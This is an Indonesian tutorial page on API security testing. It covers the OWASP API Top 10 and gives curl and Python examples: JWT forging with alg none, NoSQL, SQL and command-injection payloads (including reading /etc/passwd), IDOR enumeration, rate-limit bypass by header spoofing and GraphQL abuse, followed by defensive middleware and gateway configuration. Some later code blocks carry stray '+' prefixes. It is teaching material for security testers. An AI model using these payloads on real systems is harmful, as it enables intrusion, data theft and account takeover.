Keamanan

API Security Testing

Panduan lengkap API security testing — OWASP API Top 10, authentication, injection, IDOR/BOLA, rate limiting, dan hardening

1. Pengenalan API Security Testing

API Security Testing adalah proses evaluasi keamanan API untuk menemukan kerentanan. Di era microservices dan cloud-native, API menjadi target utama serangan karena menjadi pintu masuk ke data dan layanan backend.

📋 Apa yang Dipelajari
  • OWASP API Security Top 10 (2023)
  • API reconnaissance dan enumeration
  • Authentication & authorization testing
  • Injection attacks pada API
  • IDOR/BOLA vulnerability
  • Rate limiting bypass

Menurut Gartner, API menjadi vektor serangan utama. 95% organisasi mengalami masalah keamanan API dalam 12 bulan terakhir, dan API-related breaches meningkat 600% sejak 2020.

2. OWASP API Security Top 10 (2023)

#RisikoDeskripsi
API1Broken Object Level AuthorizationAccess objek milik user lain
API2Broken AuthenticationMekanisme autentikasi lemah
API3Broken Object Property Level AuthExcess data exposure, mass assignment
API4Unrestricted Resource ConsumptionTidak ada rate limiting
API5Broken Function Level AuthorizationAdmin function tanpa auth
API6Unrestricted Access to Business FlowsAutomated abuse
API7Server Side Request ForgeryAPI request ke internal
API8Security MisconfigurationDefault config, verbose errors
API9Improper Inventory ManagementShadow API
API10Unsafe Consumption of APIsTanpa validasi response

3. API Reconnaissance

Langkah pertama menemukan semua endpoint, memahami struktur request/response, dan mengidentifikasi fungsionalitas yang tersedia.

Bash — API Reconnaissance
# =============================================
# API Reconnaissance Techniques
# =============================================

# 1. Check common documentation endpoints
curl -s https://target.com/swagger.json | jq .
curl -s https://target.com/openapi.json | jq .
curl -s https://target.com/api-docs/ | head -50
curl -s https://target.com/graphql | head -50

# 2. Directory bruteforce
ffuf -u https://target.com/api/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,401,403 \
  -H "Accept: application/json"

# 3. Parameter discovery
arjun -u https://target.com/api/users

# 4. GraphQL introspection
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}}'

# 5. API versioning enumeration
for v in v1 v2 v3 api; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://target.com/$v/users")
  echo "/$v/users → HTTP $code"
done

# 6. Verbose error gathering
curl -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test"}'
# Perhatikan error message yang mengungkap info

4. Authentication Testing

API authentication yang lemah memungkinkan attacker mengakses resource tanpa kredensial valid atau mengambil alih akun user lain.

JWT Token Attacks

Bash — JWT Attack Testing
# =============================================
# JWT Security Testing
# =============================================

# Decode JWT token
echo "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyMSJ9.sig" \
  | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Attack 1: Algorithm None
# Ubah header: {"alg":"none","typ":"JWT"}
# Hapus signature

# Attack 2: Algorithm Confusion (RS256 → HS256)
# Gunakan public key sebagai HMAC secret

# Attack 3: Weak Secret Brute Force
hashcat -m 16500 jwt_token.txt \
  /usr/share/wordlists/rockyou.txt

# Attack 4: kid injection
# {"kid":"../../dev/null","alg":"HS256"}

# Contoh JWT manipulation
python3 << 'PYEOF'
import jwt, json
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9..."
decoded = jwt.decode(token, options={"verify_signature": False})
print(f"Payload: {json.dumps(decoded, indent=2)}")
# Modify payload
decoded["role"] = "admin"
forged = jwt.encode(decoded, "", algorithm="none")
print(f"Forged: {forged}")
PYEOF

5. API Injection Attacks

Injection pada API bisa terjadi pada parameter, header, atau body. SQL, NoSQL, dan command injection paling umum.

Bash — NoSQL & SQL Injection
# =============================================
# Injection Testing pada API
# =============================================

# NoSQL Authentication Bypass
curl -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{
    "username": {"$gt": ""},
    "password": {"$gt": ""}
  }'

# NoSQL Operator Injection
curl "https://target.com/api/users?role[$ne]=user"
curl "https://target.com/api/search?name[$regex]=.*"

# $where Injection (JavaScript execution)
curl -X POST https://target.com/api/users \
  -H "Content-Type: application/json" \
  -d '{"name": "test", "email": {"$where": "return true"}}'

# SQL Injection pada REST API
curl "https://target.com/api/users?id=1' OR 1=1--"
curl "https://target.com/api/users?id=1 UNION SELECT null,user,pass FROM users--"

# Command Injection via API parameter
curl -X POST https://target.com/api/tools/ping \
  -H "Content-Type: application/json" \
  -d '{"host": "127.0.0.1; cat /etc/passwd"}'

# GraphQL Injection
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{users(filter:"{\"role\":\"admin\"}"){id,name}}"}'

6. IDOR & BOLA

IDOR (Insecure Direct Object Reference) terjadi ketika API memungkinkan user mengakses objek milik user lain hanya dengan mengubah identifier.

Bash — IDOR Testing
# =============================================
# IDOR/BOLA Testing
# =============================================

# Test 1: Sequential ID enumeration
curl -H "Authorization: Bearer TOKEN_A" \
  https://target.com/api/users/1001/profile
curl -H "Authorization: Bearer TOKEN_A" \
  https://target.com/api/users/1002/profile

# Test 2: UUID prediction
curl -H "Authorization: Bearer TOKEN_A" \
  https://target.com/api/users/550e8400-e29b-41d4-a716-446655440000/profile

# Test 3: Parameter pollution
curl -H "Authorization: Bearer TOKEN_A" \
  "https://target.com/api/users?id=self&id=1002"

# Test 4: Method change
curl -X POST -H "Authorization: Bearer TOKEN_A" \
  https://target.com/api/users/1002/profile

# Test 5: Path traversal
curl -H "Authorization: Bearer TOKEN_A" \
  https://target.com/api/documents/../../../etc/passwd

# Test 6: Batch request abuse
curl -X POST https://target.com/api/batch \
  -H "Authorization: Bearer TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '[
    {"method":"GET","url":"/api/users/1001/profile"},
    {"method":"GET","url":"/api/users/1002/profile"}
  ]'

7. Rate Limiting & Abuse

API tanpa rate limiting rentan brute force, credential stuffing, dan resource exhaustion.

Bash — Rate Limit Bypass
# =============================================
# Rate Limit Bypass Testing
# =============================================

# Technique 1: IP rotation via headers
for i in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code} " \
    -H "X-Forwarded-For: 10.0.0.$i" \
    -H "X-Real-IP: 10.0.0.$i" \
    https://target.com/api/login \
    -d "username=admin&password=pass$i"
done

# Technique 2: Header manipulation
curl -H "X-Forwarded-For: 127.0.0.1" \
  https://target.com/api/login

# Technique 3: Parameter pollution
curl "https://target.com/api/login?user=admin&user=admin2"

# Technique 4: API key rotation
# If rate limit is per-API-key, try multiple keys

8. API Security Best Practices

KontrolImplementasi
AuthenticationOAuth 2.0 + JWT, API keys rotated, MFA admin
AuthorizationRBAC/ABAC, validate setiap request
Input ValidationSchema validation, allowlist input
Rate LimitingPer-user, per-IP, sliding window
EncryptionTLS 1.3 mandatory, encrypt sensitive fields
LoggingLog semua akses, audit trail
Error HandlingGeneric messages, no stack traces
Python — API Security Middleware
# =============================================
# API Security Middleware — Flask Example
# =============================================

from flask import Flask, request, jsonify
from functools import wraps
import time

app = Flask(__name__)
rate_limit_store = {}

def rate_limit(max_requests=100, window=60):
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            client_ip = request.remote_addr
            now = time.time()
            key = f"{client_ip}:{f.__name__}"
            if key not in rate_limit_store:
                rate_limit_store[key] = []
            rate_limit_store[key] = [
                t for t in rate_limit_store[key]
                if now - t < window
            ]
            if len(rate_limit_store[key]) >= max_requests:
                return jsonify({"error": "Rate limit"}), 429
            rate_limit_store[key].append(now)
            return f(*args, **kwargs)
        return wrapper
    return decorator

def validate_json(schema):
    def decorator(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            data = request.get_json(silent=True)
            if not data:
                return jsonify({"error": "Invalid JSON"}), 400
            for field in schema.get("required", []):
                if field not in data:
                    return jsonify({"error": f"Missing: {field}"}), 400
            return f(*args, **kwargs)
        return wrapper
    return decorator

@app.route("/api/users", methods=["POST"])
@rate_limit(max_requests=10, window=60)
@validate_json({"required": ["name", "email"]})
def create_user():
    data = request.get_json()
    name = data["name"][:100]
    email = data["email"][:254]
    return jsonify({"status": "created"}), 201

API Security Headers

HTTP security headers adalah pertahanan pertama yang harus dikonfigurasi pada setiap API. Headers yang tepat dapat mencegah berbagai jenis serangan seperti XSS, clickjacking, dan MIME sniffing.

HeaderNilaiFungsi
Content-Security-Policydefault-src 'self'Mencegah XSS dan injection
X-Content-Type-OptionsnosniffMencegah MIME type sniffing
X-Frame-OptionsDENYMencegah clickjacking
Strict-Transport-Securitymax-age=31536000Force HTTPS
Cache-Controlno-storeMencegah caching data sensitif
RateLimit-Limit100Informasi rate limit ke client

GraphQL Security

GraphQL API memiliki attack surface yang berbeda dari REST. Beberapa kerentanan khusus GraphQL meliputi introspection abuse, nested query depth attack, dan batch query abuse.

Bash — GraphQL Security Testing
# =============================================
+# GraphQL Security Testing
+# =============================================

+# 1. Introspection query (enumerate schema)
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"{ __schema { types { name fields { name type { name } } } } }"}'

+# 2. Disable introspection in production!
+# Apollo Server config:
+# introspection: process.env.NODE_ENV !== 'production'

+# 3. Query depth attack (nested queries)
+# Malicious: deeply nested query to cause DoS
+# { user(id:1) { friends { friends { friends { ... } } } } }
+
+# Defense: Set max depth limit
+# graphql-depth-limit package: maxDepth: 5

+# 4. Batch query abuse
+# Sending multiple queries in single request
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '[
+    {"query":"{ user(id:1) { email } }"},
+    {"query":"{ user(id:2) { email } }"},
+    {"query":"{ user(id:3) { email } }"}
+  ]'

+# Defense: Limit batch size
+# graphql-config: batch: { max: 5 }

+# 5. SQL Injection via GraphQL variables
+curl -X POST https://target.com/graphql \
+  -H "Content-Type: application/json" \
+  -d '{"query":"query($name: String!) { users(name: $name) { id } }", "variables": {"name": "\' OR 1=1--"}}'

+# 6. Field suggestion abuse
+# GraphQL leaks field names through suggestions
+# Defense: Disable suggestions in production

API Gateway Security

API Gateway berfungsi sebagai single entry point untuk semua API calls. Konfigurasi gateway yang tepat sangat penting untuk keamanan.

YAML — Kong API Gateway Security
# =============================================
+# API Gateway Security — Kong Configuration
+# =============================================

+# Enable rate limiting plugin
+curl -X POST http://kong:8001/services/my-api/plugins \
+  --data "name=rate-limiting" \
+  --data "config.minute=100" \
+  --data "config.policy=local"

+# Enable IP restriction
+curl -X POST http://kong:8001/services/my-api/plugins \
+  --data "name=ip-restriction" \
+  --data "config.allow=10.0.0.0/8"

+# Enable bot detection
+curl -X POST http://kong:8001/services/my-api/plugins \
+  --data "name=bot-detection"

+# Enable CORS
+curl -X POST http://kong:8001/services/my-api/plugins \
+  --data "name=cors" \
+  --data "config.origins=https://trusted.com" \
+  --data "config.methods=GET,POST" \
+  --data "config.max_age=3600"

+# Enable request size limiting
+curl -X POST http://kong:8001/services/my-api/plugins \
+  --data "name=request-size-limiting" \
+  --data "config.allowed_payload_size=10"

API Versioning Security

API versioning yang buruk dapat mengakibatkan shadow API — versi lama yang masih aktif tetapi tidak dipatching. Setiap versi API harus memiliki lifecycle management yang jelas.

Bash — API Version Discovery
# =============================================
+# API Version & Shadow API Discovery
+# =============================================

+# Check all active API versions
+for v in v1 v2 v3 v4 api/v1 api/v2; do
+  code=$(curl -s -o /dev/null -w "%{http_code}" \
+    "https://target.com/$v/users" -H "Authorization: Bearer TOKEN")
+  echo "/$v/users -> HTTP $code"
+done

+# Search for deprecated endpoints still active
+curl -s "https://target.com/v1/admin/users" \
+  -H "Authorization: Bearer TOKEN" | head -20

+# Check for debug endpoints in production
+curl -s "https://target.com/api/debug/vars" | head -20
+curl -s "https://target.com/api/debug/pprof/" | head -20
+curl -s "https://target.com/actuator" | head -20
+curl -s "https://target.com/actuator/env" | head -20

+# API security headers audit
+curl -sI "https://target.com/api/users" | \
+  grep -i "strict-transport\|content-security\|x-frame\|x-content-type"
+

API Security Testing Checklist

TestMethodTool
Authentication bypassRemove/modify tokensBurp Suite, Postman
Authorization bypassIDOR testing, role manipulationBurp Autorize
Input validationFuzzing parametersffuf, Burp Intruder
Rate limitingRapid request sendingCustom scripts
Error handlingTrigger invalid inputManual testing
TLS configurationCipher suite analysistestssl.sh, sslyze
API documentationSwagger/OpenAPI reviewManual review

9. Quiz Pemahaman

1. Peringkat #1 OWASP API Top 10 2023?

2. Serangan yang mengubah JWT alg dari RS256 ke HS256?

3. Fungsi rate limiting pada API?

4. Teknik menemukan hidden API endpoints?

5. Apa itu NoSQL injection?

Rangkuman

📝 Poin Penting
  • OWASP API Top 10 — Panduan risiko keamanan API paling kritis
  • BOLA/IDOR — Vulnerability #1 — validasi otorisasi setiap request
  • JWT — Rentan algorithm confusion, weak secret, kid injection
  • Rate Limiting — Penting mencegah brute force dan abuse
  • Input Validation — Schema validation dan allowlist untuk semua input